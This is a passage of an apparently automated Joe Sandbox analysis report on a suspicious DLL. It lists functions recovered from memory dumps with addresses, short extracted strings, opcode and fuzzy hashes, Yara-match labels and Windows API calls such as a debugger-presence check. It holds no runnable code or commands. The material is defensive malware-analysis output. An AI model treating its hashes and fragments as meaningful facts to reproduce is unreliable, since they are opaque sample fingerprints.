Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ef2b066b7479eebd6c8b326193abf9e993e9928125b295f7a7255ef21652610b
Instruction ID: 5002454b321bb122286272742502665f213384a815a006bd2853d563bd6fb81a
Opcode Fuzzy Hash: ef2b066b7479eebd6c8b326193abf9e993e9928125b295f7a7255ef21652610b
Instruction Fuzzy Hash: 7C31F1B090162CABCB61DF68C988BCCBBB8BF08750F5045EAE41DA7250E7309B858F55

Uniqueness

Uniqueness Score: -1.00%

Function 007BB0BA, Relevance: 4.2, Strings: 3, Instructions: 430COMMON

Download Yara Rule

Strings

, xrefs: 007BB8D2
"pRk, xrefs: 007BB62F
)dP, xrefs: 007BB1D0

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: $"pRk$)dP
API String ID: 0-4184037624
Opcode ID: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction ID: 52f654a7bdd9b87c1ece3d4ba82825b6fd564176ff9d1b12632380218063bb86
Opcode Fuzzy Hash: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction Fuzzy Hash: 1D222DB15093808FD368CF25C58AA9BFBE1FBC4708F50891DE6DA86260D7B59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007A2575, Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

~6, xrefs: 007A2869
/ U, xrefs: 007A25BA
+m, xrefs: 007A290D

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: +m$/ U$~6
API String ID: 0-2643806746
Opcode ID: 073c6600929b382543b8d77a52f191d23ef669f8d05dfbeedf42f8238e2c911c
Instruction ID: f92dfa980645f0022965ace1da024c52b3a728cff110168f4535c6757b76e8ef
Opcode Fuzzy Hash: 073c6600929b382543b8d77a52f191d23ef669f8d05dfbeedf42f8238e2c911c
Instruction Fuzzy Hash: BCE11E724083809FD369CF65C58AA4BFBF1FBC5744F508A1DF29A86221D7B68949DF02

Uniqueness

Uniqueness Score: -1.00%

Function 007BC772, Relevance: 4.0, Strings: 3, Instructions: 241COMMON

Download Yara Rule

Strings

5-.', xrefs: 007BC907
m, xrefs: 007BCAA1
5[], xrefs: 007BCBC0

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 5-.'$5[]$m
API String ID: 0-734274072
Opcode ID: 6a0363981bd35cb0869b335273f07f384f8dee9b8c1d5fa7f21008046898184e
Instruction ID: 13363d0cef6c310e60968bdeb2acd92e201e297e85314dd5bf12ccff6c6352e6
Opcode Fuzzy Hash: 6a0363981bd35cb0869b335273f07f384f8dee9b8c1d5fa7f21008046898184e
Instruction Fuzzy Hash: 17C120B1508381DFD758CF65C48AA5BBBF1BBC4348F208A1DF19A86260D7B59948CF82

Uniqueness

Uniqueness Score: -1.00%

Function 007C1C71, Relevance: 4.0, Strings: 3, Instructions: 240COMMON

Download Yara Rule

Strings

F, xrefs: 007C1E67
\4, xrefs: 007C1F58
3^", xrefs: 007C1D4E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 3^"$F$\4
API String ID: 0-424740036
Opcode ID: 606eccc0ca59ad018a4ff894c378d8ec258067a12bcf7aa2618c40a87089ba48
Instruction ID: 73a47232cf58b540165f3e44df8aee671a61e4097a7927806d0db670fe6e04df
Opcode Fuzzy Hash: 606eccc0ca59ad018a4ff894c378d8ec258067a12bcf7aa2618c40a87089ba48
Instruction Fuzzy Hash: 8DB143715083809FC354CF29C48A90BFBE1FBC4758F104A2DF59596261D3B9CA49CF42

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA9D50, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

<>()C,, xrefs: 6EDA9DED
{recursion limit reached}{invalid syntax}, xrefs: 6EDA9FC2
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA9DB6

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: a86a0ae9030d987209b03c5a264e1b28cf68a8516ed9c6a5fef7ea717467db22
Instruction ID: 6dab23c4919c6389c77d6b2a79ee387daddb1bc9ee296dd83a446715a2fdef90
Opcode Fuzzy Hash: a86a0ae9030d987209b03c5a264e1b28cf68a8516ed9c6a5fef7ea717467db22
Instruction Fuzzy Hash: DE8147707087028FEB25CFACE05079AB7E29F81304F00892DD6DA8B695D737D68AC712

Uniqueness

Uniqueness Score: -1.00%

Function 007A7739, Relevance: 3.9, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

bL0, xrefs: 007A7883
<, xrefs: 007A7992
_W, xrefs: 007A7843

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: _W$bL0$<
API String ID: 0-458269699
Opcode ID: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction ID: eee2fc70e88e885cfda2efa9fa78639239c32d25e3744fa9b336d4071540472b
Opcode Fuzzy Hash: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction Fuzzy Hash: 0D8110B25083819FC358CF25C88581BBBF2BBC5758F508A1EF69596260D3B6DA49CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007A3085, Relevance: 3.9, Strings: 3, Instructions: 177COMMON

Download Yara Rule

Strings

4?, xrefs: 007A316D
TY#, xrefs: 007A314C
,9, xrefs: 007A3206

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4?$TY#$,9
API String ID: 0-2698369630
Opcode ID: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction ID: e5d02ac32115d2cc100653c4d18da1335c33ecf6926e01222e24bce8e7443b85
Opcode Fuzzy Hash: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction Fuzzy Hash: 267165B15083429BC758CE21C98991BBBE5FFD5358F100A1DF28696261D776DA098F82

Uniqueness

Uniqueness Score: -1.00%

Function 007C3306, Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

at, xrefs: 007C340F
/., xrefs: 007C3438
l, xrefs: 007C34AB

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: /.$l$at
API String ID: 0-2847909692
Opcode ID: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction ID: 1ee034c8dfcc9473e7789f368d3f9fde595fca9324f33d98497538fb63c5974d
Opcode Fuzzy Hash: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction Fuzzy Hash: 0E712F710093009FC398DF65C98991BBBF2FB85758F408A0DF29696220D3B58A59CF87

Uniqueness

Uniqueness Score: -1.00%

Function 007A597D, Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

O*, xrefs: 007A5AAF
Qm', xrefs: 007A5A97
!e4, xrefs: 007A5995

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: !e4$O*$Qm'
API String ID: 0-765253384
Opcode ID: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction ID: 9fb3ecf5bdce0b7b02a45312d4893165b0c07fa18029de63c843348b47a75edd
Opcode Fuzzy Hash: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction Fuzzy Hash: D9518C71608701DBD714DF26C94581FBBE2FFC9708F144A2DF586A6260D3B9DA0A8B93

Uniqueness

Uniqueness Score: -1.00%

Function 007C1987, Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

P-, xrefs: 007C19E8
Ms*, xrefs: 007C19C3
7|K, xrefs: 007C1A43

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 7|K$Ms*$P-
API String ID: 0-841752872
Opcode ID: bfadbc5d3e3f9336956a2dda4459d0402c044c58af9be92261e82c55d0987d3c
Instruction ID: 0f1fb0fdb68900ef61583291f656427ff55d0ff72fe91432e01ae55c03fa269d
Opcode Fuzzy Hash: bfadbc5d3e3f9336956a2dda4459d0402c044c58af9be92261e82c55d0987d3c
Instruction Fuzzy Hash: 555176B1508341DFC354CF25C48591BBBE1FBC4358F909A2EF18596262E374CA498F86

Uniqueness

Uniqueness Score: -1.00%

Function 007BCC3F, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

jN, xrefs: 007BCD15
d1f, xrefs: 007BCCC7
0uk, xrefs: 007BCD70

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 0uk$d1f$jN
API String ID: 0-1634662418
Opcode ID: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction ID: 1f568d78109b68083a5ec5c1fe41c010b07b81e57a73ea3498a4c6c5136a7bc4
Opcode Fuzzy Hash: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction Fuzzy Hash: AA4102B2C0131AEBCB48CFE5D94A4EEBBB1BB48318F208558D411B6250D7B85B48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007A2B7C, Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

*, xrefs: 007A2C31
\vQ, xrefs: 007A2C5B
"wLA, xrefs: 007A2B98

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: "wLA$\vQ$*
API String ID: 0-1256145968
Opcode ID: 363a537a89777e3d901aa0086054e57a593f6a568bee962225e62e3190e20a1e
Instruction ID: 5e869b7fdeba9735112bf11e22f1709221cf63adba212c5f1495c92cb112cfd0
Opcode Fuzzy Hash: 363a537a89777e3d901aa0086054e57a593f6a568bee962225e62e3190e20a1e
Instruction Fuzzy Hash: 2E3101B1D00319EBCF08CFA5D98A4EEBFB1FB44314F208298D515B6260D3745A45DF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB01D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6EDB0253

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: 03063bf21e7f429d3c727bea0fabc0e818691b65005b0f45dffcca0801bdc4db
Instruction ID: 0eac7eb13a4b02998da545edc79ba1dfffb967edd60cecfd3ff497b16dee7feb
Opcode Fuzzy Hash: 03063bf21e7f429d3c727bea0fabc0e818691b65005b0f45dffcca0801bdc4db
Instruction Fuzzy Hash: 4262ABB0E04269CFDB14CFA8C9A07DDBBB2AB49344F1481A9D49ABB241F7309985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA1C10, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

?, xrefs: 6EDA1CCB
{invalid syntax}, xrefs: 6EDA1F98

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: df2dcdd0995e1b38b09a49185d219c188b59c471cd00313560150552c0bba4fc
Instruction ID: 12b6be1406cc8ee97d788e36286a4a12bca93276da02b146ac75beaba414ed85
Opcode Fuzzy Hash: df2dcdd0995e1b38b09a49185d219c188b59c471cd00313560150552c0bba4fc
Instruction Fuzzy Hash: E6B149B661C326CFCB058FADC490569F7A2AF86350F04871EEAE55B241D732DB4AC781

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA66E0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA66F9
{invalid syntax}, xrefs: 6EDA697D

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: 47b9dc4dce961621f2d2bf3bd2a99af03ffe4cf0c817b5775bc4f2fc997a7ef7
Instruction ID: c7ab30fa11869f9f6ddd2f73939615a923cb8d7ef96f7eed3e7ba5e22079a60d
Opcode Fuzzy Hash: 47b9dc4dce961621f2d2bf3bd2a99af03ffe4cf0c817b5775bc4f2fc997a7ef7
Instruction Fuzzy Hash: DE81F1B4774301CFEB708FEDD56036EB3A6AB81314F10482CCBBA4BA85E665E6458243

Uniqueness

Uniqueness Score: -1.00%

Function 007AA8E8, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

?h, xrefs: 007AAA5D
RSrG, xrefs: 007AA950

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: RSrG$?h
API String ID: 0-3757341021
Opcode ID: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction ID: 6d4a4da2d86a6719c59e71847139660a5f821f59f8b1847a3a9d6a74d6d569df
Opcode Fuzzy Hash: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction Fuzzy Hash: 389110B2508381AFC359CF61C98A91BFBE1FBD5758F10491DF29596220C3B6CA598B83

Uniqueness

Uniqueness Score: -1.00%

Function 007C2D4F, Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

(u, xrefs: 007C2EC9
wU, xrefs: 007C2E1B

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: (u$wU
API String ID: 0-793206181
Opcode ID: 21cb7cf40b5fcd75021ee22f5ec25c2e6abe74f55f6fa4d5c07052c211dc6369
Instruction ID: c2db6269da274776f36353f2bbef340573636296270548f26547eb7367832e27
Opcode Fuzzy Hash: 21cb7cf40b5fcd75021ee22f5ec25c2e6abe74f55f6fa4d5c07052c211dc6369
Instruction Fuzzy Hash: 378198725083019FC358CF21C98A91FBBF1EBC8758F10991DF596562A0D3B8CA4ACF46

Uniqueness

Uniqueness Score: -1.00%

Function 007B0FC5, Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

jo, xrefs: 007B0FFC
pl.d, xrefs: 007B104C

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: jo$pl.d
API String ID: 1586166983-342083115
Opcode ID: b077c9b836740f8196407828076889114031bbf3dd492da6e17de2aaba4acc85
Instruction ID: 59fd79b14c4c1521fc4fad62c809c99592ad2fb6554b267ea0a1c69ce26fe3c2
Opcode Fuzzy Hash: b077c9b836740f8196407828076889114031bbf3dd492da6e17de2aaba4acc85
Instruction Fuzzy Hash: D081F072D0020DEBCF18CFE5D98A9DEBBB2FB44318F208159E411B6260D7B95A55CF94

Uniqueness

Uniqueness Score: -1.00%

Function 007C20F8, Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

Ep?, xrefs: 007C21CB
`B, xrefs: 007C222C

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: Ep?$`B
API String ID: 0-215957162
Opcode ID: 1daf2c8c8b10aa79801bb24dfbb826d986152ee7626ca7779aead4dc77d91357
Instruction ID: 774b94d4667686d045921e4679937fc6f4c34a43d9d86c9ab334daf4060c01b3
Opcode Fuzzy Hash: 1daf2c8c8b10aa79801bb24dfbb826d986152ee7626ca7779aead4dc77d91357
Instruction Fuzzy Hash: 425137729083419FC354DF25D98A81BFBF0BBC8718F514A1DF8E566261D7788A0A8B87

Uniqueness

Uniqueness Score: -1.00%

Function 007A2176, Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

;E, xrefs: 007A22BF
4T @, xrefs: 007A2201

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4T @$;E
API String ID: 0-2491102183
Opcode ID: f01533f94cf61da7649e324fc2513682d737e3f908edbaaee9ed955e1b6981c5
Instruction ID: 5e43ec705e2f9a1c17b14d6dd51843cf3f1ea0e5c5fe132c29d909eeddb167ce
Opcode Fuzzy Hash: f01533f94cf61da7649e324fc2513682d737e3f908edbaaee9ed955e1b6981c5
Instruction Fuzzy Hash: 315188B15083419FD308CF25D58A80BBBE1FBC4758F508A1DF0896A260D7B9DA49CF97

Uniqueness

Uniqueness Score: -1.00%

Function 007A5DC3, Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

=7u/, xrefs: 007A5E7D
=7u/, xrefs: 007A5FC6

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: =7u/$=7u/
API String ID: 0-275303271
Opcode ID: 67a60b1ad4c0603231ea64fea1c2987a1a09e6fa5b28b512111997315bd1ad98
Instruction ID: 40321af4de07b924cd110b5a18dbb8cf869ca2fc223431b506406e23ef6545eb
Opcode Fuzzy Hash: 67a60b1ad4c0603231ea64fea1c2987a1a09e6fa5b28b512111997315bd1ad98
Instruction Fuzzy Hash: 435198715083019FC758DF20C58981FBBE1FBD9398F504A1CF69AA6221D3798A49CF83

Uniqueness

Uniqueness Score: -1.00%

Function 007A2DC5, Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

`F, xrefs: 007A2ECD
50, xrefs: 007A2E29

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 50$`F
API String ID: 0-2597214580
Opcode ID: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction ID: 79a7c39e6ffe5bdd4f30fac41dd92c2c071d14ff2bb783a113ff5b36871ff121
Opcode Fuzzy Hash: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction Fuzzy Hash: D85156715083429FC749CF25D88981FBBE1FBD8348F108A1DF59656261E7B9CA0A8F87

Uniqueness

Uniqueness Score: -1.00%

Function 007AAEB9, Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

!\, xrefs: 007AAFD4
yXw, xrefs: 007AAF39

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: yXw$!\
API String ID: 0-755724215
Opcode ID: 3617ce066b9370acbb04930873a391636926d4a734cc0b850e6fb7fac95c4909
Instruction ID: e0468f293df93ad56a9cb126fc3168b07f4d3ed1a148fc765e8bc31d6747906d
Opcode Fuzzy Hash: 3617ce066b9370acbb04930873a391636926d4a734cc0b850e6fb7fac95c4909
Instruction Fuzzy Hash: 0341FF72D00309EBCF44DFA5C94A8EEBBB5EF84318F208199D415B6260D7B91A55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 007BBFA1, Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

1VC, xrefs: 007BC07A
HRG, xrefs: 007BC055

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 1VC$HRG
API String ID: 0-1729148703
Opcode ID: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction ID: 3c4113bdf5dc8eb94353199950c984aaf68c9b13279ca7feea7ab317df9bfdf8
Opcode Fuzzy Hash: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction Fuzzy Hash: 8A316C72908301CFC318EE29D94955FBBE1EBD4718F048A5EF898A7250D3B99D09CF96

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC0A61, Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6EDC0A5C,?,?,?,?,?,?,00000000), ref: 6EDC0C8E

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b48137a671d763e5917fe8106555eab620e7bc52eb0ff8dac8ee49b8e1087981
Instruction ID: 71b46a1f86362b3705fa12cffdcc4763d7c85c92f2d0992634a3a6bf8542d830
Opcode Fuzzy Hash: b48137a671d763e5917fe8106555eab620e7bc52eb0ff8dac8ee49b8e1087981
Instruction Fuzzy Hash: 51B19B71210609CFDB04CF68C496B947BA5FF057E8F258658E9E9CF2A1D336E982CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBCC44, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6EDBCC5A

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: db153ef6c11a00a4a8e43ab02d748a4b5b8bf8e66c8c04b277d01ba98e415aa8
Instruction ID: fd43a8f74ca7733924139e92b6cb62d90a0bf8a2d4c121d78d1bdd097fb967b4
Opcode Fuzzy Hash: db153ef6c11a00a4a8e43ab02d748a4b5b8bf8e66c8c04b277d01ba98e415aa8
Instruction Fuzzy Hash: 29514AB1A10605CFEB05CF95D49679EBBF4FB89314F24846AD816EB240E375D941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2FE7, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
